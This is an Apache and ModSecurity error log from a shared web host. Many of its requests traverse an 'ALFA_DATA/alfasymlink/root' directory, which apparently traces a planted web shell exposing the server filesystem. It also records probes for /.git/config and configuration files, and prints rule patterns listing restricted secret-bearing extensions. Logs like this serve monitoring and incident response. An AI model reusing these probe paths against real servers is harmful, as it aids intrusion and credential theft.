[Mon Oct 26 00:48:49.875334 2026] [ssl:error] [pid 2963543:tid 2963543] (70014)End of file found: [client 85.208.96.210:59130] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:48:50.156822 2026] [ssl:error] [pid 2963523:tid 2963523] (70014)End of file found: [client 34.205.163.103:59152] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:48:54.258809 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 52.204.71.8:22352] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:48:58.156842 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 44.212.106.171:51769] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:49:10.156975 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 52.203.237.170:61377] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:49:11.599380 2026] [core:error] [pid 2963543:tid 2963543] (13)Permission denied: [client 185.191.171.5:12454] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/min_partial
[Mon Oct 26 00:49:18.152724 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 18.206.47.187:43792] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:49:22.198204 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 52.70.209.13:57336] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:49:26.345008 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 52.2.191.202:55057] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:49:30.138004 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 44.223.115.10:21766] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:49:34.230041 2026] [ssl:error] [pid 2963543:tid 2963543] (70014)End of file found: [client 35.171.117.160:6387] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:49:38.190540 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 98.84.184.80:48026] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:49:46.149879 2026] [core:error] [pid 2961884:tid 2961884] (13)Permission denied: [client 18.213.240.226:40701] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/node0/memory1/node0/subsystem/drivers_probe
[Mon Oct 26 00:49:46.150416 2026] [security2:error] [pid 2961884:tid 2961884] [client 18.213.240.226:40701] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/node0/memory1/node0/subsystem/drivers_probe"] [unique_id "at7b6m-vOSxyH8uS5IpoEgAAAA0"]
[Mon Oct 26 00:49:46.150445 2026] [security2:error] [pid 2961884:tid 2961884] [client 18.213.240.226:40701] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/node0/memory1/node0/subsystem/drivers_probe"] [unique_id "at7b6m-vOSxyH8uS5IpoEgAAAA0"]
[Mon Oct 26 00:49:50.159624 2026] [ssl:error] [pid 2963543:tid 2963543] (70014)End of file found: [client 18.211.148.239:15290] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:49:58.292674 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 3.212.86.97:5787] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:50:10.333630 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 34.231.118.144:65464] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:50:18.176948 2026] [ssl:error] [pid 2963512:tid 2963512] (70014)End of file found: [client 34.231.118.144:28234] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:50:30.258495 2026] [ssl:error] [pid 2963543:tid 2963543] (70014)End of file found: [client 54.147.238.89:18791] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:50:46.170369 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 3.212.205.90:8607] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:50:50.252570 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 98.82.39.241:32634] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:50:58.140631 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 52.204.81.148:17058] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:51:02.150032 2026] [core:error] [pid 2961884:tid 2961884] (13)Permission denied: [client 44.223.232.55:20794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:00/physical_node/driver/0000:00:01.3/remove
[Mon Oct 26 00:51:06.141982 2026] [ssl:error] [pid 2963543:tid 2963543] (70014)End of file found: [client 3.213.213.161:50125] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:51:10.138042 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 34.227.156.153:30421] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:51:14.378878 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 52.2.83.227:62395] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:51:22.210429 2026] [ssl:error] [pid 2963537:tid 2963537] (70014)End of file found: [client 34.194.14.255:20335] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:51:25.513776 2026] [core:error] [pid 2963566:tid 2963566] (13)Permission denied: [client 185.191.171.13:17508] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/blkdev_ioc/min_partial
[Mon Oct 26 00:51:30.192502 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 54.83.56.1:46328] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:51:39.840256 2026] [core:error] [pid 2963523:tid 2963523] (13)Permission denied: [client 85.208.96.209:53338] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uts_namespace/slabs
[Mon Oct 26 00:51:42.132734 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 44.215.210.112:45613] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:51:50.163308 2026] [security2:error] [pid 2963574:tid 2963574] [client 3.229.2.217:33851] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/slots/8/"] [unique_id "at7cZmmZ8fuNyDoZpyi6EQAAADs"]
[Mon Oct 26 00:51:50.163363 2026] [security2:error] [pid 2963574:tid 2963574] [client 3.229.2.217:33851] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/slots/8/"] [unique_id "at7cZmmZ8fuNyDoZpyi6EQAAADs"]
[Mon Oct 26 00:51:50.353136 2026] [core:error] [pid 2963540:tid 2963540] (13)Permission denied: [client 185.191.171.17:30546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_defrag_ipv6/sections/__verbose
[Mon Oct 26 00:51:54.236080 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 18.214.186.220:31167] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:52:02.270248 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 44.223.193.255:25330] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:52:10.166030 2026] [ssl:error] [pid 2963523:tid 2963523] (70014)End of file found: [client 18.213.102.186:29052] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:52:26.328759 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 52.1.106.130:42985] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:52:38.157421 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 3.210.223.61:9642] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:52:42.309514 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 44.195.145.102:4366] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:52:45.933216 2026] [core:error] [pid 2963542:tid 2963542] (13)Permission denied: [client 185.191.171.15:48224] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/blkdev_ioc/align
[Mon Oct 26 00:52:46.294531 2026] [ssl:error] [pid 2963523:tid 2963523] (70014)End of file found: [client 52.1.157.90:20317] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:52:50.770417 2026] [core:error] [pid 2963578:tid 2963578] (13)Permission denied: [client 185.191.171.2:46926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_ctx/ctor
[Mon Oct 26 00:53:02.163499 2026] [ssl:error] [pid 2963537:tid 2963537] (70014)End of file found: [client 52.205.113.104:19288] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:53:10.149907 2026] [ssl:error] [pid 2963523:tid 2963523] (70014)End of file found: [client 3.81.253.213:53387] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:53:26.164350 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 3.221.50.71:62897] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:53:30.187827 2026] [ssl:error] [pid 2963523:tid 2963523] (70014)End of file found: [client 44.208.223.68:50452] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:53:42.145466 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 50.16.72.185:38291] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:53:50.179387 2026] [ssl:error] [pid 2961914:tid 2961914] (70014)End of file found: [client 98.83.10.183:5638] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:54:06.152340 2026] [ssl:error] [pid 2948938:tid 2948938] (22)Invalid argument: [client 23.23.212.212:43684] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:54:06.238831 2026] [security2:error] [pid 2963543:tid 2963543] [client 85.208.96.197:65248] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/post_virtualhost_1.conf"] [unique_id "at7c7nGXfnuGFw1ZR4x2wwAAACg"]
[Mon Oct 26 00:54:06.239247 2026] [security2:error] [pid 2963543:tid 2963543] [client 85.208.96.197:65248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/post_virtualhost_1.conf"] [unique_id "at7c7nGXfnuGFw1ZR4x2wwAAACg"]
[Mon Oct 26 00:54:06.239599 2026] [security2:error] [pid 2963543:tid 2963543] [client 85.208.96.197:65248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/post_virtualhost_1.conf"] [unique_id "at7c7nGXfnuGFw1ZR4x2wwAAACg"]
[Mon Oct 26 00:54:10.155671 2026] [ssl:error] [pid 2961914:tid 2961914] (70014)End of file found: [client 18.207.79.144:24696] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:54:22.152731 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 23.21.175.228:8808] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:54:28.497004 2026] [core:error] [pid 2949650:tid 2949650] (13)Permission denied: [client 185.191.171.12:62126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS2/uartclk
[Mon Oct 26 00:54:30.294465 2026] [ssl:error] [pid 2961914:tid 2961914] (5)Input/output error: [client 100.25.120.246:9149] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:54:34.135686 2026] [ssl:error] [pid 2963523:tid 2963523] (70014)End of file found: [client 98.80.130.239:37884] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:54:42.276385 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 3.223.134.5:29948] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:54:43.068303 2026] [security2:error] [pid 2963543:tid 2963543] [client 43.130.72.40:59974] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "at7dE3GXfnuGFw1ZR4x2xQAAACg"]
[Mon Oct 26 00:54:43.069407 2026] [authz_core:error] [pid 2963543:tid 2963543] [client 43.130.72.40:59974] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 00:54:46.128186 2026] [ssl:error] [pid 2961914:tid 2961914] (70014)End of file found: [client 52.202.52.82:26284] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:54:58.152289 2026] [ssl:error] [pid 2963537:tid 2963537] (70014)End of file found: [client 34.236.185.101:65303] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:55:06.153529 2026] [ssl:error] [pid 2961884:tid 2961884] (70014)End of file found: [client 18.232.36.1:8611] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:55:10.272189 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 34.225.138.57:23068] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:55:14.142578 2026] [core:error] [pid 2963588:tid 2963588] (13)Permission denied: [client 54.197.178.107:10558] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0303:00/physical_node1/driver/serio0/drvctl
[Mon Oct 26 00:55:30.228587 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 54.157.99.244:51038] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:55:42.161280 2026] [ssl:error] [pid 2961914:tid 2961914] (70014)End of file found: [client 44.223.116.149:52511] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:55:50.139288 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 3.212.205.90:13867] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:55:52.275657 2026] [core:error] [pid 2963542:tid 2963542] (13)Permission denied: [client 185.191.171.6:15282] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCP/destroy_by_rcu
[Mon Oct 26 00:56:06.340212 2026] [core:error] [pid 2963523:tid 2963523] (13)Permission denied: [client 54.92.171.106:57536] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/cirrus/module/uevent
[Mon Oct 26 00:56:13.959345 2026] [core:error] [pid 2963543:tid 2963543] (13)Permission denied: [client 185.191.171.2:15220] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/seq_file/objects_partial
[Mon Oct 26 00:56:14.159368 2026] [ssl:error] [pid 2961914:tid 2961914] (5)Input/output error: [client 98.82.214.73:57489] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:56:22.140101 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 54.197.178.107:28787] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:56:23.697612 2026] [core:error] [pid 2949650:tid 2949650] (13)Permission denied: [client 185.191.171.15:13598] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/min_partial
[Mon Oct 26 00:56:42.123653 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 98.82.40.168:35461] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:56:54.161264 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 52.2.83.227:35612] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/QEMU0002:00/physical_node/driver/unbind
[Mon Oct 26 00:56:58.146491 2026] [ssl:error] [pid 2963543:tid 2963543] (70014)End of file found: [client 100.24.167.60:3101] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:57:02.137812 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 3.210.29.96:27926] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:57:14.203359 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 18.206.47.187:37545] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:57:15.682778 2026] [security2:error] [pid 2963543:tid 2963543] [client 8.217.152.4:34380] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at7dq3GXfnuGFw1ZR4x2zgAAACg"]
[Mon Oct 26 00:57:15.683185 2026] [security2:error] [pid 2963543:tid 2963543] [client 8.217.152.4:34380] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at7dq3GXfnuGFw1ZR4x2zgAAACg"]
[Mon Oct 26 00:57:15.683636 2026] [security2:error] [pid 2963543:tid 2963543] [client 8.217.152.4:34380] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at7dq3GXfnuGFw1ZR4x2zgAAACg"]
[Mon Oct 26 00:57:22.324300 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 18.213.240.226:51099] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:57:38.140973 2026] [core:error] [pid 2963543:tid 2963543] (13)Permission denied: [client 35.171.117.160:29545] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:06/physical_node/virtio2/subsystem/drivers/virtio_balloon/module/sections/__jump_table
[Mon Oct 26 00:57:54.168767 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 34.226.89.140:45089] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:58:02.165806 2026] [ssl:error] [pid 2963543:tid 2963543] (70014)End of file found: [client 3.229.164.203:25652] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:58:03.319439 2026] [security2:error] [pid 2963512:tid 2963512] [client 107.172.76.131:51151] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7d0A3P_hWp_Ips6H2cQgAAAAY"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 00:58:03.319508 2026] [security2:error] [pid 2963512:tid 2963512] [client 107.172.76.131:51151] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7d0A3P_hWp_Ips6H2cQgAAAAY"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 00:58:10.278507 2026] [ssl:error] [pid 2963523:tid 2963523] (70014)End of file found: [client 107.20.25.33:32389] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:58:14.145263 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 52.3.104.214:21746] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:58:18.218906 2026] [ssl:error] [pid 2961914:tid 2961914] (70014)End of file found: [client 54.221.203.24:59897] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:58:22.152999 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 52.4.229.9:29485] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:58:34.147325 2026] [ssl:error] [pid 2963523:tid 2963523] (70014)End of file found: [client 3.211.105.134:60616] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:58:38.137936 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 3.90.73.206:28174] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:58:42.162710 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 3.216.13.10:9710] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:58:43.266670 2026] [ssl:error] [pid 2961914:tid 2961914] (70014)End of file found: [client 185.191.171.8:36532] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:58:54.176214 2026] [ssl:error] [pid 2963523:tid 2963523] (70014)End of file found: [client 3.225.9.97:62578] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:59:06.417900 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 3.220.148.166:55805] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:59:10.145740 2026] [ssl:error] [pid 2961884:tid 2961884] (70014)End of file found: [client 50.16.216.166:55065] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:59:22.324917 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 98.82.107.102:9851] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:59:36.836391 2026] [core:error] [pid 2961914:tid 2961914] (13)Permission denied: [client 85.208.96.194:40756] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_inode/free_calls
[Mon Oct 26 00:59:36.883409 2026] [security2:error] [pid 2963512:tid 2963512] [client 107.172.76.131:51151] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7eLQ3P_hWp_Ips6H2cSQAAAAY"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 00:59:36.883456 2026] [security2:error] [pid 2963512:tid 2963512] [client 107.172.76.131:51151] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7eLQ3P_hWp_Ips6H2cSQAAAAY"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 00:59:42.175652 2026] [security2:error] [pid 2949650:tid 2949650] [client 52.4.229.9:58186] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory1/node0/memory18/power/"] [unique_id "at7ePvLa-Z693QtLWwrHJgAAABQ"]
[Mon Oct 26 00:59:42.175697 2026] [security2:error] [pid 2949650:tid 2949650] [client 52.4.229.9:58186] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory1/node0/memory18/power/"] [unique_id "at7ePvLa-Z693QtLWwrHJgAAABQ"]
[Mon Oct 26 00:59:46.294287 2026] [ssl:error] [pid 2961884:tid 2961884] (70014)End of file found: [client 3.229.95.193:17439] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:59:50.158790 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 52.45.92.83:59055] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:59:54.489934 2026] [core:error] [pid 2963574:tid 2963574] (13)Permission denied: [client 185.191.171.16:11614] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/cache_dma
[Mon Oct 26 01:00:01.738441 2026] [core:error] [pid 2963543:tid 2963543] (13)Permission denied: [client 185.191.171.12:12112] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/slabs_cpu_partial
[Mon Oct 26 01:00:14.920124 2026] [security2:error] [pid 2963578:tid 2963578] [client 108.162.244.49:19100] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "at7eXol8CCaegHlNIHu7sgAAAD8"]
